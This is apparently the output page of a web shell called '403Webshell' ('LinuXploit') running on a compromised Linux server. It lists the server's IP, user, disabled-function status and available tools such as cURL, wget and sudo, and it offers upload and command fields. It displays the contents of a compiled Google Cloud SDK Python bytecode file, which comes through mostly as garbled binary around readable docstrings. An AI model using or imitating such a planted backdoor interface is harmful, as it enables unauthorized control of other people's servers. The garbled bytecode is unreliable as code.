403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/google-cloud-sdk/lib/surface/scc/findings/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/google-cloud-sdk/lib/surface/scc/findings/__pycache__/group.cpython-311.pyc
�

�����D�dZddlmZddlmZddlmZddlmZddlZddlZddlm	Z	ddl
mZdd	l
mZdd
l
mZddl
mZdd
lmZddlmZddlmZejejjejjejj��Gd
�dej����Zdd�ZdS)zdCommand to Filter an organization or source's findings and group them by their specified properties.�)�absolute_import)�division)�print_function)�unicode_literalsN)�securitycenter_client)�arg_parsers)�base)�flags)�util)�timesc�:�eZdZdZdddd�Zed���Zd�ZdS)	�GroupzZFilter an organization or source's findings and groups them by their specified properties.zF
          To group across all sources provide a '-' as the source id.a'
          Group findings under organization `123456` across all sources by their
          category:

            $ {command} 123456 --group-by="category"

          Group findings under project `example-project` across all sources by
          their category:

            $ {command} projects/example-project --group-by="category"

          Group findings under folders `456` across all sources by their
          category:

            $ {command} folders/456 --group-by="category"

          Group findings under organization `123456` and source `5678`, by their
          category:

            $ {command} 123456 --source=5678 --group-by="category"

          Group ACTIVE findings under organization `123456` and source `5678`,
          by their category:

            $ {command} 123456 --source=5678 --group-by="category"
              --filter="state=\"ACTIVE\""

          Group findings under organization `123456` and `location=eu` across
          all sources by their category:

            $ {command} 123456 --group-by="category" --location=euz�
      This command uses the Security Command Center API. For more information,
      see [Security Command Center API.](https://cloud.google.com/security-command-center/docs/reference/rest))�DESCRIPTION�EXAMPLESz
API REFERENCEc��tj��d�|��tj�|��tj�|��t
j�|��t
j�|��tj�|��tj	�|��|�
dd���|�
dd���|�
dtjdtjd	�
��d���dS)
Nrz--filtera�
        Expression that defines the filter to apply across findings. The
        expression is a list of one or more restrictions combined via logical
        operators 'AND' and 'OR'. Parentheses are supported, and 'OR' has higher
        precedence than 'AND'. Restrictions have the form
        '<field> <operator> <value>' and may have a '-' character in front of
        them to indicate negation. Examples include: name,
        source_properties.a_property, security_marks.marks.marka.
        The supported operators are:
        *  '=' for all value types.
        *  '>', '<', '>=', '<=' for integer values.
        *  ':', meaning substring matching, for strings.

        The supported value types are:string literals in quotes, integer
        literals without quotes, boolean literals 'true' and 'false' without
        quotes. Some example filters: 'source_properties.size = 100',
        'category=\"XSS\" AND event_time > 10' etc.)�helpz
--group-byaS
        Expression that defines what findings fields to use for grouping
        (including 'state'). String value should follow SQL syntax: comma
        separated list  of fields. For example: "parent,resource_name".
        The following fields are supported:
        * resource_name
        * category
        * state
        * parentz--page-size�T)�	unlimitedzx
        Maximum number of results to return in a single response. Default is 10,
        minimum is 1, maximum is 1000.)�typer)�	scc_flags�AppendParentArg�AddToParser�PAGE_TOKEN_FLAG�READ_TIME_FLAGr
�COMPARE_DURATION_FLAG�SOURCE_FLAG�API_VERSION_FLAG�
LOCATION_FLAG�add_argumentr�
BoundedInt�sys�maxsize)�parsers �!lib/surface/scc/findings/group.py�Argsz
Group.ArgsPsD�������"�.�.�v�6�6�6�
��)�)�&�1�1�1�
��(�(��0�0�0�	��+�+�F�3�3�3�	��!�!�&�)�)�)�
��*�*�6�2�2�2�
��'�'��/�/�/�
����9�����*�������������
�
#�A�s�{�d�
C�
C�
C�*�������c�T�ddg}tj||��}tj|��}|���}|���|_|dkr�|�d��rM|j|j_	tj|jj	��}tj|��|j_	|�d��rM|j
|j_tj|jj��}tj|��|j_|j|j_|j|j_|j|j_|j|j_t1|||��}tj|��}|j�|��}	|	S)N�compare_duration�	read_time�v1)r� GetApiVersionUsingDeprecatedArgsr�GetMessages�6SecuritycenterOrganizationsSourcesFindingsGroupRequest�GroupFindingsRequest�groupFindingsRequest�IsKnownAndSpecifiedr(�compareDurationr�
ParseDuration�FormatDurationForJsonr)�readTime�
ParseDateTime�FormatDateTime�filter�group_by�groupBy�	page_size�pageSize�
page_token�	pageToken�_GenerateParentForGroupCommand�	GetClient�organizations_sources_findingsr)
�self�args�deprecated_args�version�messages�request�compare_duration_iso�read_time_dt�client�results
          r$�Runz	Group.Run�s���)�;�7�O��3�D�/�J�J�G�$�0��9�9�H��M�M�O�O�G�#+�#@�#@�#B�#B�G� ��$���
�	!�	!�"4�	5�	5�
�7;�7L��$�4�$�2��(�8� 
� 
��
�'�(<�=�=�	�$�4�
�	!�	!�+�	.�	.�
�04���$�-��*��(�1�
�
��16�0D��1
�1
��$�-�+/�+�G� �'�+/�=�G� �(�,0�N�G� �)�-1�_�G� �*�,�T�7�G�D�D�G�
"�
,�W�
5�
5�F�
�
2�
8�
8��
A�
A�F��Mr&N)�__name__�
__module__�__qualname__�__doc__�
detailed_help�staticmethodr%rK�r&r$rr#sh������c�b�I�F�>r�E%�%�-�N�1�1��<�1�f&�&�&�&�&r&rr*c�~�tj|��|j|j_d|_t	jd��}t
j|��}|�|��r	||_	|St	jd��}|�|��r||_
tj||��|_	|S)zFGenerate a finding's name and parent using org, source and finding id.�z](organizations|projects|folders)/[a-z0-9]+/sources/[0-9-]{0,62}/locations/[A-Za-z0-9-]{0,62}$z@(organizations|projects|folders)/[a-z0-9]+/sources/[0-9-]{0,62}$)r�ValidateMutexOnSourceAndParentr7r/�re�compile�scc_util� GetParentFromPositionalArguments�match�parent�source�GetFullSourceName)rB�reqrD�region_resource_paternr[�resource_patterns      r$r>r>�s����%�d�+�+�+�$(�K�#��!��$�+��:�e�����4�T�:�:�&��!�!�&�)�)���C�J��J��Z�H�������F�#�#���D�K��%�d�G�4�4�#�*�	�*r&)r*)rO�
__future__rrrrrVr!�googlecloudsdk.api_lib.sccr�googlecloudsdk.callioperr	�googlecloudsdk.command_lib.sccr
rrrX�'googlecloudsdk.command_lib.scc.findings�googlecloudsdk.core.utilr�
ReleaseTracks�ReleaseTrack�GA�BETA�ALPHA�Commandrr>rRr&r$�<module>rms���k�j�&�&�&�&�&�&�������%�%�%�%�%�%�'�'�'�'�'�'�	�	�	�	�
�
�
�
�<�<�<�<�<�<�/�/�/�/�/�/�(�(�(�(�(�(�=�=�=�=�=�=�;�;�;�;�;�;�9�9�9�9�9�9�8�8�8�8�8�8�*�*�*�*�*�*�������$�+�0�$�2C�2I���D�D�D�D�D�D�L�D�D���D�N
�
�
�
�
�
r&

Youez - 2016 - github.com/yon3zu
LinuXploit